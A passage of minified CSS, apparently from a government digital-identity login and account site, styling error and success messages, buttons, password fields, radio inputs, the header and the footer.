.error-msg strong,#inner-content .success-msg strong,#inner-content .error-msg strong,.unauth .success-msg strong,.unauth .error-msg strong{margin-bottom:3px;margin-bottom:.1875rem}.wrapper-mapwap .success-msg *,.wrapper-mapwap .success-msg a,.wrapper-mapwap .success-msg a.anchor,.wrapper-mapwap .success-msg .error-msg-text *,.wrapper-mapwap .success-msg .error-msg-text a,.wrapper-mapwap .success-msg .error-msg-text a.anchor,.wrapper-mapwap .success-msg .success-msg-text *,.wrapper-mapwap .success-msg .success-msg-text a,.wrapper-mapwap .success-msg .success-msg-text a.anchor,.wrapper-mapwap .error-msg *,.wrapper-mapwap .error-msg a,.wrapper-mapwap .error-msg a.anchor,.wrapper-mapwap .error-msg .error-msg-text *,.wrapper-mapwap .error-msg .error-msg-text a,.wrapper-mapwap .error-msg .error-msg-text a.anchor,.wrapper-mapwap .error-msg .success-msg-text *,.wrapper-mapwap .error-msg .success-msg-text a,.wrapper-mapwap .error-msg .success-msg-text a.anchor,#inner-content .success-msg *,#inner-content .success-msg a,#inner-content .success-msg a.anchor,#inner-content .success-msg .error-msg-text *,#inner-content .success-msg .error-msg-text a,#inner-content .success-msg .error-msg-text a.anchor,#inner-content .success-msg .success-msg-text *,#inner-content .success-msg .success-msg-text a,#inner-content .success-msg .success-msg-text a.anchor,#inner-content .error-msg *,#inner-content .error-msg a,#inner-content .error-msg a.anchor,#inner-content .error-msg .error-msg-text *,#inner-content .error-msg .error-msg-text a,#inner-content .error-msg .error-msg-text a.anchor,#inner-content .error-msg .success-msg-text *,#inner-content .error-msg .success-msg-text a,#inner-content .error-msg .success-msg-text a.anchor,.unauth .success-msg *,.unauth .success-msg a,.unauth .success-msg a.anchor,.unauth .success-msg .error-msg-text *,.unauth .success-msg .error-msg-text a,.unauth .success-msg .error-msg-text a.anchor,.unauth .success-msg .success-msg-text *,.unauth .success-msg .success-msg-text a,.unauth .success-msg .success-msg-text a.anchor,.unauth .error-msg *,.unauth .error-msg a,.unauth .error-msg a.anchor,.unauth .error-msg .error-msg-text *,.unauth .error-msg .error-msg-text a,.unauth .error-msg .error-msg-text a.anchor,.unauth .error-msg .success-msg-text *,.unauth .error-msg .success-msg-text a,.unauth .error-msg .success-msg-text a.anchor{line-height:inherit;font-size:inherit}.wrapper-mapwap .success-msg .error-msg-text,.wrapper-mapwap .success-msg .success-msg-text,.wrapper-mapwap .error-msg .error-msg-text,.wrapper-mapwap .error-msg .success-msg-text,#inner-content .success-msg .error-msg-text,#inner-content .success-msg .success-msg-text,#inner-content .error-msg .error-msg-text,#inner-content .error-msg .success-msg-text,.unauth .success-msg .error-msg-text,.unauth .success-msg .success-msg-text,.unauth .error-msg .error-msg-text,.unauth .error-msg .success-msg-text{-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto}@media screen and (max-width:767px){.wrapper-mapwap .success-msg .error-msg-text>span>strong,.wrapper-mapwap .success-msg .success-msg-text>span>strong,.wrapper-mapwap .error-msg .error-msg-text>span>strong,.wrapper-mapwap .error-msg .success-msg-text>span>strong,#inner-content .success-msg .error-msg-text>span>strong,#inner-content .success-msg .success-msg-text>span>strong,#inner-content .error-msg .error-msg-text>span>strong,#inner-content .error-msg .success-msg-text>span>strong,.unauth .success-msg .error-msg-text>span>strong,.unauth .success-msg .success-msg-text>span>strong,.unauth .error-msg .error-msg-text>span>strong,.unauth .error-msg .success-msg-text>span>strong{padding:8px 16px 7px;padding:.5rem 1rem .4375rem;margin-left:-16px;margin-left:-1rem;margin-right:-16px;margin-right:-1rem;margin-top:-10px;margin-top:-0.625rem;margin-bottom:10px;margin-bottom:.625rem;font-size:15px;font-size:.9375rem;min-height:34px;min-height:2.125rem;font-weight:500;color:#fff;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.wrapper-mapwap .success-msg .error-msg-text>span>strong:before,.wrapper-mapwap .success-msg .success-msg-text>span>strong:before,.wrapper-mapwap .error-msg .error-msg-text>span>strong:before,.wrapper-mapwap .error-msg .success-msg-text>span>strong:before,#inner-content .success-msg .error-msg-text>span>strong:before,#inner-content .success-msg .success-msg-text>span>strong:before,#inner-content .error-msg .error-msg-text>span>strong:before,#inner-content .error-msg .success-msg-text>span>strong:before,.unauth .success-msg .error-msg-text>span>strong:before,.unauth .success-msg .success-msg-text>span>strong:before,.unauth .error-msg .error-msg-text>span>strong:before,.unauth .error-msg .success-msg-text>span>strong:before{width:16px;width:1rem;height:16px;height:1rem;margin-right:6px;margin-right:.375rem;content:"";display:block;background-repeat:no-repeat;background-position:center;background-size:contain}.wrapper-mapwap .success-msg .error-msg-text>span>strong+br,.wrapper-mapwap .success-msg .success-msg-text>span>strong+br,.wrapper-mapwap .error-msg .error-msg-text>span>strong+br,.wrapper-mapwap .error-msg .success-msg-text>span>strong+br,#inner-content .success-msg .error-msg-text>span>strong+br,#inner-content .success-msg .success-msg-text>span>strong+br,#inner-content .error-msg .error-msg-text>span>strong+br,#inner-content .error-msg .success-msg-text>span>strong+br,.unauth .success-msg .error-msg-text>span>strong+br,.unauth .success-msg .success-msg-text>span>strong+br,.unauth .error-msg .error-msg-text>span>strong+br,.unauth .error-msg .success-msg-text>span>strong+br{display:none}}@media screen and (min-width:768px){.wrapper-mapwap .success-msg,.wrapper-mapwap .error-msg,#inner-content .success-msg,#inner-content .error-msg,.unauth .success-msg,.unauth .error-msg{padding:14px 27px;padding:.875rem 1.6875rem;border-left-width:53px;border-left-width:3.3125rem;min-height:97px;min-height:6.0625rem;margin-bottom:37px;margin-bottom:2.3125rem}}@media screen and (max-width:767px){.wrapper-mapwap .success-msg .success-msg-text>span>strong,#inner-content .success-msg .success-msg-text>span>strong,.unauth .success-msg .success-msg-text>span>strong{background-color:#1a9f50}.wrapper-mapwap .success-msg .success-msg-text>span>strong:before,#inner-content .success-msg .success-msg-text>span>strong:before,.unauth .success-msg .success-msg-text>span>strong:before{background-image:url("../icons/mobile-success-icon.svg")}}@media screen and (max-width:767px){.wrapper-mapwap .error-msg .error-msg-text>span>strong,#inner-content .error-msg .error-msg-text>span>strong,.unauth .error-msg .error-msg-text>span>strong{background-color:#dc3548}.wrapper-mapwap .error-msg .error-msg-text>span>strong:before,#inner-content .error-msg .error-msg-text>span>strong:before,.unauth .error-msg .error-msg-text>span>strong:before{background-image:url("../icons/mobile-error-icon.svg")}}.wrapper-mapwap #security-codes-info,#inner-content #security-codes-info,.unauth #security-codes-info{font-size:16px;font-size:1rem;border:0;margin:0;padding:0;background-color:unset;color:#000}.wrapper-mapwap .hasError,#inner-content .hasError,.unauth .hasError{margin:0 0 8px;margin:0 0 .5rem;border-left:none;padding-left:0}.wrapper-mapwap .hasError .form-helper-message,#inner-content .hasError .form-helper-message,.unauth .hasError .form-helper-message{font-size:14px;font-size:.875rem;padding-left:22px;padding-left:1.375rem;font-weight:500;position:relative}.wrapper-mapwap .hasError .form-helper-message::after,#inner-content .hasError .form-helper-message::after,.unauth .hasError .form-helper-message::after{height:16px;height:1rem;width:16px;width:1rem;min-width:16px;min-width:1rem;top:2px;top:.125rem;content:"";background-image:url("../icons/inline-error-icon.svg");background-size:contain;display:block;position:absolute;left:0}.wrapper-mapwap .hasError p,#inner-content .hasError p,.unauth .hasError p{line-height:1.14286;margin-top:0}.wrapper-mapwap .hasError span.hasError p,#inner-content .hasError span.hasError p,.unauth .hasError span.hasError p{margin-top:0}.wrapper-mapwap .digital-id-login-option-container,#inner-content .digital-id-login-option-container,.unauth .digital-id-login-option-container{background-color:unset;border:0;margin-top:0;overflow:unset}.wrapper-mapwap .digital-id-login-option-container .inner-options,#inner-content .digital-id-login-option-container .inner-options,.unauth .digital-id-login-option-container .inner-options{margin-left:0;margin-right:0;padding-bottom:0}.wrapper-mapwap .digital-id-login-option-container .external-links-zone,#inner-content .digital-id-login-option-container .external-links-zone,.unauth .digital-id-login-option-container .external-links-zone{margin-top:0}.wrapper-mapwap .create-account-text,.wrapper-mapwap .create-account-link,#inner-content .create-account-text,#inner-content .create-account-link,.unauth .create-account-text,.unauth .create-account-link{font-size:16px;font-size:1rem}.wrapper-mapwap .create-account-text,#inner-content .create-account-text,.unauth .create-account-text{padding-left:25px;padding-left:1.5625rem;margin-top:24px;margin-top:1.5rem;margin-bottom:48px;margin-bottom:3rem;line-height:1.5;position:relative}.wrapper-mapwap .create-account-text:before,#inner-content .create-account-text:before,.unauth .create-account-text:before{width:16px;width:1rem;min-width:16px;min-width:1rem;height:16px;height:1rem;top:4px;top:.25rem;content:"";display:block;background:no-repeat center;background-image:url(../icons/icon-blugov-info.svg);background-size:contain;position:absolute;left:0}.wrapper-mapwap .button-container,#inner-content .button-container,.unauth .button-container{margin-top:30px;margin-top:1.875rem}.wrapper-mapwap .button-container a.button-minor.button,.wrapper-mapwap .button-container .button-minor,#inner-content .button-container a.button-minor.button,#inner-content .button-container .button-minor,.unauth .button-container a.button-minor.button,.unauth .button-container .button-minor{color:#183052;border-color:#183052}.wrapper-mapwap .button-container a.button-minor.button:hover,.wrapper-mapwap .button-container .button-minor:hover,#inner-content .button-container a.button-minor.button:hover,#inner-content .button-container .button-minor:hover,.unauth .button-container a.button-minor.button:hover,.unauth .button-container .button-minor:hover{color:#fff;background-color:#254a7e;border-color:transparent}.wrapper-mapwap .button-container a.button-minor.button:focus,.wrapper-mapwap .button-container .button-minor:focus,#inner-content .button-container a.button-minor.button:focus,#inner-content .button-container .button-minor:focus,.unauth .button-container a.button-minor.button:focus,.unauth .button-container .button-minor:focus{color:#183052;background-color:#fff;border-color:#183052}@media screen and (max-width:640px){.wrapper-mapwap .button-container,#inner-content .button-container,.unauth .button-container{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.wrapper-mapwap .button-container .button,#inner-content .button-container .button,.unauth .button-container .button{margin:auto auto 10px;margin:auto auto .625rem;width:100%}}.wrapper-mapwap .recovery,#inner-content .recovery,.unauth .recovery{margin-bottom:30px;margin-bottom:1.875rem}.wrapper-mapwap .recovery a,.wrapper-mapwap .recovery a.anchor,#inner-content .recovery a,#inner-content .recovery a.anchor,.unauth .recovery a,.unauth .recovery a.anchor{font-size:16px;font-size:1rem}.wrapper-mapwap form span[role="alert"],.wrapper-mapwap form p[role="alert"],#inner-content form span[role="alert"],#inner-content form p[role="alert"],.unauth form span[role="alert"],.unauth form p[role="alert"]{margin-top:8px;margin-top:.5rem}.wrapper-mapwap form label,#inner-content form label,.unauth form label{font-size:16px;font-size:1rem;font-weight:600;color:#000}.wrapper-mapwap form a[aria-expanded],#inner-content form a[aria-expanded],.unauth form a[aria-expanded]{font-size:16px;font-size:1rem}.wrapper-mapwap .digital-id-login-card,#inner-content .digital-id-login-card,.unauth .digital-id-login-card{margin-bottom:30px;margin-bottom:1.875rem}.wrapper-mapwap .hr-word,#inner-content .hr-word,.unauth .hr-word{height:auto;border-bottom:0 none;position:relative}.wrapper-mapwap .hr-word .draw-circle,#inner-content .hr-word .draw-circle,.unauth .hr-word .draw-circle{padding-top:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;background-color:#fff;position:relative}.wrapper-mapwap .hr-word:before,#inner-content .hr-word:before,.unauth .hr-word:before{height:1px;height:.0625rem;content:"";background-color:#c5c5c5;width:100%;top:-webkit-calc(50% - .5px);top:calc(50% - .5px);left:0;position:absolute}.wrapper-mapwap .digital-id-login-card-wrapper .hr-word,#inner-content .digital-id-login-card-wrapper .hr-word,.unauth .digital-id-login-card-wrapper .hr-word{margin-top:0;margin-bottom:0}.wrapper-mapwap .terms-service-text,#inner-content .terms-service-text,.unauth .terms-service-text{font-size:16px;font-size:1rem;margin-top:12px;margin-top:.75rem;margin-bottom:24px;margin-bottom:1.5rem}.wrapper-mapwap .password-group:focus-within button.showPassword,#inner-content .password-group:focus-within button.showPassword,.unauth .password-group:focus-within button.showPassword{border-width:2px;border-width:.125rem;border-left-width:0}.wrapper-mapwap button.showPassword,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap label button.showPassword,#inner-content button.showPassword,#inner-content .input-group button.showPassword,#inner-content label button.showPassword,.unauth button.showPassword,.unauth .input-group button.showPassword,.unauth label button.showPassword{padding:11px 17px 12px 20px;padding:.6875rem 1.0625rem .75rem 1.25rem;height:48px;height:3rem;top:auto;bottom:0}.wrapper-mapwap button.showPassword,.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap .input-group button.showPassword:hover,.wrapper-mapwap label button.showPassword,.wrapper-mapwap label button.showPassword:hover,#inner-content button.showPassword,#inner-content button.showPassword:hover,#inner-content .input-group button.showPassword,#inner-content .input-group button.showPassword:hover,#inner-content label button.showPassword,#inner-content label button.showPassword:hover,.unauth button.showPassword,.unauth button.showPassword:hover,.unauth .input-group button.showPassword,.unauth .input-group button.showPassword:hover,.unauth label button.showPassword,.unauth label button.showPassword:hover{border-top-right-radius:2px;border-top-right-radius:.125rem;border-bottom-right-radius:2px;border-bottom-right-radius:.125rem;border-top-left-radius:0;border-bottom-right-radius:0}.wrapper-mapwap button.showPassword:hover,.wrapper-mapwap button.showPassword:focus,.wrapper-mapwap button.showPassword,.wrapper-mapwap .input-group button.showPassword:hover,.wrapper-mapwap .input-group button.showPassword:focus,.wrapper-mapwap .input-group button.showPassword,.wrapper-mapwap label button.showPassword:hover,.wrapper-mapwap label button.showPassword:focus,.wrapper-mapwap label button.showPassword,#inner-content button.showPassword:hover,#inner-content button.showPassword:focus,#inner-content button.showPassword,#inner-content .input-group button.showPassword:hover,#inner-content .input-group button.showPassword:focus,#inner-content .input-group button.showPassword,#inner-content label button.showPassword:hover,#inner-content label button.showPassword:focus,#inner-content label button.showPassword,.unauth button.showPassword:hover,.unauth button.showPassword:focus,.unauth button.showPassword,.unauth .input-group button.showPassword:hover,.unauth .input-group button.showPassword:focus,.unauth .input-group button.showPassword,.unauth label button.showPassword:hover,.unauth label button.showPassword:focus,.unauth label button.showPassword{border-width:1px;border-width:.0625rem;border-color:#000;outline:0}.wrapper-mapwap:focus-within button.showPassword,.wrapper-mapwap .input-group:focus-within button.showPassword,.wrapper-mapwap label:focus-within button.showPassword,#inner-content:focus-within button.showPassword,#inner-content .input-group:focus-within button.showPassword,#inner-content label:focus-within button.showPassword,.unauth:focus-within button.showPassword,.unauth .input-group:focus-within button.showPassword,.unauth label:focus-within button.showPassword{padding-top:10px;padding-top:.625rem;padding-bottom:11px;padding-bottom:.6875rem;padding-right:16px;padding-right:1rem}.wrapper-mapwap .input-group.hasError input:focus,.wrapper-mapwap label.hasError input:focus,#inner-content .input-group.hasError input:focus,#inner-content label.hasError input:focus,.unauth .input-group.hasError input:focus,.unauth label.hasError input:focus{border-width:2px;border-width:.125rem;outline-color:#dc3548}.wrapper-mapwap .input-group+.input-group,#inner-content .input-group+.input-group,.unauth .input-group+.input-group{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap .input-group.hasError input,.wrapper-mapwap label.hasError input,.wrapper-mapwap div.hasError input,.wrapper-mapwap .code-container.hasError input,#inner-content .input-group.hasError input,#inner-content label.hasError input,#inner-content div.hasError input,#inner-content .code-container.hasError input,.unauth .input-group.hasError input,.unauth label.hasError input,.unauth div.hasError input,.unauth .code-container.hasError input{border:2px solid #dc3548;border:.125rem solid #dc3548;outline-color:#dc3548}.wrapper-mapwap .input-group.hasError button.showPassword.anchor,.wrapper-mapwap label.hasError button.showPassword.anchor,.wrapper-mapwap div.hasError button.showPassword.anchor,.wrapper-mapwap .code-container.hasError button.showPassword.anchor,#inner-content .input-group.hasError button.showPassword.anchor,#inner-content label.hasError button.showPassword.anchor,#inner-content div.hasError button.showPassword.anchor,#inner-content .code-container.hasError button.showPassword.anchor,.unauth .input-group.hasError button.showPassword.anchor,.unauth label.hasError button.showPassword.anchor,.unauth div.hasError button.showPassword.anchor,.unauth .code-container.hasError button.showPassword.anchor{border-width:2px;border-width:.125rem;padding-top:10px;padding-top:.625rem;padding-bottom:11px;padding-bottom:.6875rem;padding-right:16px;padding-right:1rem;border-color:#dc3548}.wrapper-mapwap .input-group.hasError button.showPassword.anchor:hover,.wrapper-mapwap .input-group.hasError button.showPassword.anchor:focus,.wrapper-mapwap label.hasError button.showPassword.anchor:hover,.wrapper-mapwap label.hasError button.showPassword.anchor:focus,.wrapper-mapwap div.hasError button.showPassword.anchor:hover,.wrapper-mapwap div.hasError button.showPassword.anchor:focus,.wrapper-mapwap .code-container.hasError button.showPassword.anchor:hover,.wrapper-mapwap .code-container.hasError button.showPassword.anchor:focus,#inner-content .input-group.hasError button.showPassword.anchor:hover,#inner-content .input-group.hasError button.showPassword.anchor:focus,#inner-content label.hasError button.showPassword.anchor:hover,#inner-content label.hasError button.showPassword.anchor:focus,#inner-content div.hasError button.showPassword.anchor:hover,#inner-content div.hasError button.showPassword.anchor:focus,#inner-content .code-container.hasError button.showPassword.anchor:hover,#inner-content .code-container.hasError button.showPassword.anchor:focus,.unauth .input-group.hasError button.showPassword.anchor:hover,.unauth .input-group.hasError button.showPassword.anchor:focus,.unauth label.hasError button.showPassword.anchor:hover,.unauth label.hasError button.showPassword.anchor:focus,.unauth div.hasError button.showPassword.anchor:hover,.unauth div.hasError button.showPassword.anchor:focus,.unauth .code-container.hasError button.showPassword.anchor:hover,.unauth .code-container.hasError button.showPassword.anchor:focus{background-color:#dc3548;border-color:#dc3548;color:#fff;outline:0}.wrapper-mapwap .main-block{margin-top:65px;margin-top:4.0625rem}@media screen and (min-width:640px){.wrapper-mapwap .main-block{padding:0 70px;padding:0 4.375rem}.wrapper-mapwap .main-block .unauth{padding:0}}html{font-size:100%}html body{font-size:18px;font-size:1.125rem}html .unauth .button-digital-identity,html .unauth .button-main,html #inner-content .button-main,html #modal-btn,html .button-container .button-main{border-radius:5px;border-radius:.3125rem;height:48px;height:3rem;color:#172f50;background-color:#99e1f3;border:0}html .unauth .button-digital-identity:hover,html .unauth .button-main:hover,html #inner-content .button-main:hover,html #modal-btn:hover,html .button-container .button-main:hover{color:#fff;background-color:#254a7e}html .unauth .button-digital-identity:focus,html .unauth .button-main:focus,html #inner-content .button-main:focus,html #modal-btn:focus,html .button-container .button-main:focus{outline-width:2px;outline-width:.125rem;color:#172f50;background-color:#99e1f3}html .unauth a.anchor,html .unauth button.anchor,html .external-links-zone a,html .form-terms-link,html a.button-back,html .create-account-link,html .help-info,html .help-info-button,html .wrapper-mapwap .help-info,.wrapper-mapwap html .help-info,html #inner-content .help-info,#inner-content html .help-info,html .unauth .help-info,.unauth html .help-info,html .error-msg-text a,html .accordion-link{color:#254a7e}html .unauth a.anchor:hover,html .unauth button.anchor:hover,html .external-links-zone a:hover,html .form-terms-link:hover,html a.button-back:hover,html .create-account-link:hover,html .help-info:hover,html .help-info-button:hover,html .wrapper-mapwap .help-info:hover,.wrapper-mapwap html .help-info:hover,html #inner-content .help-info:hover,#inner-content html .help-info:hover,html .unauth .help-info:hover,.unauth html .help-info:hover,html .error-msg-text a:hover,html .accordion-link:hover{background-color:#254a7e;color:#fff}html .unauth a.anchor:focus,html .unauth button.anchor:focus,html .external-links-zone a:focus,html .form-terms-link:focus,html a.button-back:focus,html .create-account-link:focus,html .help-info:focus,html .help-info-button:focus,html .wrapper-mapwap .help-info:focus,.wrapper-mapwap html .help-info:focus,html #inner-content .help-info:focus,#inner-content html .help-info:focus,html .unauth .help-info:focus,.unauth html .help-info:focus,html .error-msg-text a:focus,html .accordion-link:focus{outline:2px solid #183052;outline:.125rem solid #183052;color:#254a7e;background-color:unset}ul.account-options{margin:23.5px -12.5px 22.5px;margin:1.46875rem -0.78125rem 1.40625rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;list-style:none;padding:0}ul.account-options>li{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap}ul.account-options>li .item{border:1px solid #d9d9d6;border:.0625rem solid #d9d9d6;border-radius:5px;border-radius:.3125rem;padding:25px 28px 50px;padding:1.5625rem 1.75rem 3.125rem;margin:12.5px;margin:.78125rem;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-flow:column wrap;-ms-flex-flow:column wrap;flex-flow:column wrap;-webkit-box-flex:1;-webkit-flex:1 1 auto;-ms-flex:1 1 auto;flex:1 1 auto}ul.account-options>li .item h2{font-size:24px;font-size:1.5rem;margin-bottom:16px;margin-bottom:1rem;margin-top:0;line-height:1.33333;font-weight:500}ul.account-options>li .item .button-container{margin-top:auto;margin-bottom:0;text-align:left}ul.account-options>li .item .button-container>*{padding:7px 32px;padding:.4375rem 2rem;min-height:48px;min-height:3rem;display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:auto;height:auto;line-height:1}ul.account-options>li:not(:last-child) .item{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1}ul.account-options>li:not(:last-child):after{margin:12.5px;margin:.78125rem;font-size:22px;font-size:1.375rem;padding:13px 12px;padding:.8125rem .75rem;min-width:53px;min-width:3.3125rem;content:"OR";border-radius:50%;-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;line-height:1.31818;font-weight:500;background-color:#f1f1f1}@media screen and (min-width:768px){ul.account-options>li:last-child{-webkit-box-flex:0;-webkit-flex:0 1 auto;-ms-flex:0 1 auto;flex:0 1 auto;width:-webkit-calc(50% - 39px);width:calc(50% - 39px);width:-webkit-calc(50% - 2.4375rem);width:calc(50% - 2.4375rem)}}@media screen and (min-width:768px){ul.account-options>li{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap}}@media screen and (min-width:768px){ul.account-options{-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap}}.di-link h1{font-size:40px;font-size:2.5rem;margin-bottom:19px;margin-bottom:1.1875rem;line-height:1.325;margin-top:0}.di-link p{line-height:1.55556;margin-top:0}.di-connected-success button{width:50%}form>*:first-child{margin-top:17px;margin-top:1.0625rem}form legend.non-heading{font-size:16px;font-size:1rem;padding-bottom:12px;padding-bottom:.75rem;margin-bottom:-9px;margin-bottom:-0.5625rem}form .new-password-group .input-group{margin-bottom:24px;margin-bottom:1.5rem}form input[type="radio"]+label{padding-left:44px;padding-left:2.75rem;margin-left:-14px;margin-left:-0.875rem;margin-bottom:0;font-weight:400;width:-webkit-calc(100%+14px);width:calc(100%+14px)}.wrapper-mapwap .button-container,.unauth .button-container{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap .button-container .button,.unauth .button-container .button{height:48px;height:3rem;margin-right:12px;margin-right:.75rem;line-height:1}.wrapper-mapwap .button-container .button:hover,.unauth .button-container .button:hover{text-decoration:none}.wrapper-mapwap .button-container .button:focus,.unauth .button-container .button:focus{outline-width:2px;outline-width:.125rem}.wrapper-mapwap .button-container .button:last-child,.unauth .button-container .button:last-child{margin-right:0}.wrapper-mapwap .hasInfo,.unauth .hasInfo{border-left-color:#254a7e}.wrapper-mapwap .hasInfo a,.unauth .hasInfo a{color:#254a7e}.wrapper-mapwap #resetPasswordPair .hasError span.hasError p,.unauth #resetPasswordPair .hasError span.hasError p{margin-top:0}.wrapper-mapwap #resetPasswordPair p:last-of-type,.unauth #resetPasswordPair p:last-of-type{margin-bottom:0}.wrapper-mapwap #resetPasswordPair ul,.unauth #resetPasswordPair ul{margin-top:8px;margin-top:.5rem;margin-bottom:13px;margin-bottom:.8125rem}.wrapper-mapwap #resetPasswordPair ul li,.unauth #resetPasswordPair ul li{margin-bottom:0}.wrapper-mapwap #resetPasswordPair ul,.wrapper-mapwap #resetPasswordPair ul li,.unauth #resetPasswordPair ul,.unauth #resetPasswordPair ul li{line-height:1.55556}.wrapper-mapwap #resetPasswordPair .help-info-group+#security-codes-info+*,.unauth #resetPasswordPair .help-info-group+#security-codes-info+*{margin-top:24px;margin-top:1.5rem}.wrapper-mapwap #resetPasswordPair #security-codes-info,.unauth #resetPasswordPair #security-codes-info{font-size:inherit}.wrapper-mapwap #resetPasswordPair #security-codes-info p:first-of-type,.unauth #resetPasswordPair #security-codes-info p:first-of-type{margin-top:9px;margin-top:.5625rem}.wrapper-mapwap form input[type="radio"]:checked+label{font-weight:400}.wrapper-mapwap form input[type="radio"]:checked+label:after{box-shadow:0 0 0 2px #254a7e;box-shadow:0 0 0 .125rem #254a7e;background-color:#254a7e}.wrapper-mapwap form input[type="radio"]:checked+label:before{display:none}.wrapper-mapwap form input[type="radio"]+label{font-size:16px;font-size:1rem}.wrapper-mapwap form input[type="radio"]+label:before{display:none}.wrapper-mapwap form input[type="radio"]+label:after{width:10px;width:.625rem;height:10px;height:.625rem;left:19px;left:1.1875rem;box-shadow:0 0 0 2px #000;box-shadow:0 0 0 .125rem #000;border:3px solid #fff;border:.1875rem solid #fff;background-color:transparent;top:0;bottom:0;margin:auto;position:absolute;display:block;border-radius:50%;box-sizing:content-box;content:""}.wrapper-mapwap form input[type="radio"]:focus+label{outline:2px solid #254a7e;outline:.125rem solid #254a7e}.unauth-grid{width:100%}.unauth-grid .unauth-grid-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.unauth-grid .unauth-grid-row .header-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.unauth-grid .unauth-grid-row .header-links a{font-size:16px;font-size:1rem;color:#000}.unauth-grid .unauth-grid-row .header-links a:hover{color:#fff;background-color:#254a7e}img#unauth-govt-crest{width:100%;height:auto}.unauth-govt-crest__link{width:174px;width:10.875rem}@media screen and (min-width:640px){.unauth-govt-crest__link{width:236px;width:14.75rem}}@media screen and (min-width:1024px){.unauth-govt-crest__link{width:328px;width:20.5rem;height:auto}}.brand-rainbow{display:none}header.mgvEnhanceHeader{background-color:#66d3ee;height:auto;min-height:0;border:0 none;color:#000}header.mgvEnhanceHeader[role="banner"]>.wrapper{min-height:0;padding:0}header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding:16px 20px;padding:1rem 1.25rem;min-height:69.77px;min-height:4.36063rem;height:auto}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1360px;width:85rem}}@media screen and (min-width:640px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{min-height:83.24px;min-height:5.2025rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding:50px 40px;padding:3.125rem 2.5rem;min-height:192.4px;min-height:12.025rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower,.unauth footer[role="contentinfo"] .footer-lower{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}}html footer[role="contentinfo"]>.wrapper,.unauth footer[role="contentinfo"]>.wrapper{padding-right:0;padding-left:0}html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding-bottom:40px;padding-bottom:2.5rem}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1360px;width:85rem}}html footer[role="contentinfo"] .footer-lower-logo,.unauth 